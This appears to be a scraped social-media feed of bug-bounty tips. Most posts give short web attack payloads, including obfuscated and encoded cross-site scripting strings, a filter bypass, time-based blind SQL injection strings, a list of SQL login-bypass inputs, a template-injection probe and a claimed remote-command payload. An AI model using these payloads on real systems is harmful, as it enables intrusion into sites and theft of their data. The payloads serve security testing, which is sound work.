Vivek @vivekbug

Joined January 2022

Tweets

214
Followers

38
Following

920
Likes

2K

𝕏 Bug Bounty Writeups 𝕏 @bountywriteups

4 weeks ago

0 209 1K 64K 955

Download Image

Yassin @Yass1nMohamed

a month ago

XSS Payload Written in Russian 🇷🇺 а='',б=!а+а,в=!б+а,г=а+{},д=б[а++],е=б[ж=а], з=++ж+а,и=г[ж+з],б[и+=г[а]+(б.в+г)[а]+в[з]+д+е+б[ж]+и+д+г[а]+е][и](в[а]+в[ж]+б[з]+е+д+"('взломано')")() Follow For More 🖤 #CyberSecurity #BugBounty #Hacking #EthicalHacking #XSS

0 49 370 13K 229

Download Image

N$ @nav1n0x

2 months ago

Same payload, 3 different browsers: #Chrome, #Edge, #Firefox. So don’t just test using your default browser, make sure to test on every browser you have 😉 Payload: `%3cimg%2fsrc%2fonerror%3dalert%2f%2f%26NewLine%3b(2)%3e` #BugBounty

8 49 421 20K 262

Download Image

VIEH Group @viehgroup

2 months ago

🔥RCE in Auth Login ☠ ✨POC - "auth": ( "user";"darkshadow' system("id").**, "password" ="darkshadow" #bugbounty #bugbountytips #infosec #hacking #hacker

6 57 334 19K 240

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

3 months ago

SQL Injection Payload i was able to locate a SQL injection very hard to exploit , with digging I successfully got it with the sleep payload ''||(select 1 from (select pg_sleep(6))x)||' ==> i added as well to my SQL wordlist happy hunting ♥ #bugbountytips #bugbountytip…

9 97 600 30K 459

Download Image

N$ @nav1n0x

3 years ago

Found an SQLi using sysdate() based blind SQLi payload: 0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #SQLinjection #SQLi #BugBountytips #BugBounty

20 179 574 0 180

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

3 months ago

Findsomething extension it’s give more than amazing results just in 1 press Keep it running and I assure you , it will save a lot of work for you / find some sensitive keys so quick chromewebstore.google.com/detail/findsom… #bugbounty #bugbountytip #bugbountytips

7 57 381 17K 366

N4!TR0 07 @n4itr0_07

3 months ago

Bro just showed delay and got €3500 🫡 ‘XOR(if(now()=sysdate(),sleep(10),0))XOR’Z

4 33 491 19K 287

Download Image

khan mamun @mamunwhh

3 months ago

Now SQL Injection - another Bypass Auth Payloads #bugbountytips #bugbountytip " or ""-" " or "" " " or ""&" " or ""^" " or ""*" or 1=1-- or true-- " or true-- ' or true-- ")or true-- ') or true-- ' or 'x'='x ) or ('x')=('x ')) or (('x'))=(('x " or "x"="x ") or ("x")=("x

5 110 569 19K 485

غزاي الروقي🇸🇦 @GBN_511

4 months ago

CloudFlare XSS Bypass : "><P/onpointerenter=alert(1)>

2 40 323 30K 275

Download Image

Shreyas Chavhan @shreyas_chavhan

6 months ago

A mini-thread on how I approached this "Stored XSS with CSP Bypass" together with @confievil and popped it on our second day of hunting on that target (1/x): 👇 #bugbounty

11 88 682 51K 560

Download Image

Intigriti @intigriti

6 months ago

Is your open URL redirect payload getting blocked? 🧐 Try one of these payloads to bypass it! 🤑

3 28 254 14K 177

Download Image

Godfather Orwa 🇯🇴 @GodfatherOrwa

2 years ago

I earned $5,000 with @XHackerx007 for submission on @Bugcrowd #ItTakesACrowd For 0Day SQLI in (app extension) payload was (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/ #bugbountytips #extension_Injection✌️

34 118 672 30K 353

Md Ismail Šojal 🕷️ @0x0SojalSec

4 years ago

Bug Bounty Tips This is how to find sql-Injection 100% of the time /?q=1 /?q=1' /?q=1" /?q=[1] /?q[]=1 /?q=1` /?q=1\ /?q=1/*'*/ /?q=1/*!1111'*/ /?q=1'||'asd'||' <== concat string /?q=1' or '1'='1 /?q=1 or 1=1 /?q='or''=' /?q=") /?q=') /?q=-x() #info #BugBountyTips #SQLinjection

3 113 253 0 111

Download Image

Solanki Ajay @iamxroot

7 months ago

Recently I found it .CSV file through urlscan.io contains user registration details how I discovered here I mentioned all details linkedin.com/posts/ajay-sol… #BugBounty #BugBountytip #CYBER #infosec #Pentesting

1 19 136 7K 94

Download Image

VIEH Group @viehgroup

7 months ago

Find Leaked Credentials Using Google Chrome dev Tools (The Best Way 😎) github.com/h4x0r-dz/Leake…… #bugbountytips #bugbounty #infosec #hacker #hacking

0 32 222 9K 140

Download Image

Sina Yeganeh @Sin4Yeganeh

8 months ago

Find hidden Endpoint : raw.githubusercontent.com/sinaayeganeh/F… #bugbounty #bugbountytips

18 173 771 48K 842

Download Video

Ahmed Hamed @Ahmed78752911

8 months ago

=> Insert a payload in the email field: `test+${{7*7}}@example.com` => Check the response: If you receive an email with `test+49@example.com`, => it confirms the presence of SSTI. #bugbounty #bugbountytips #cybersecuritytips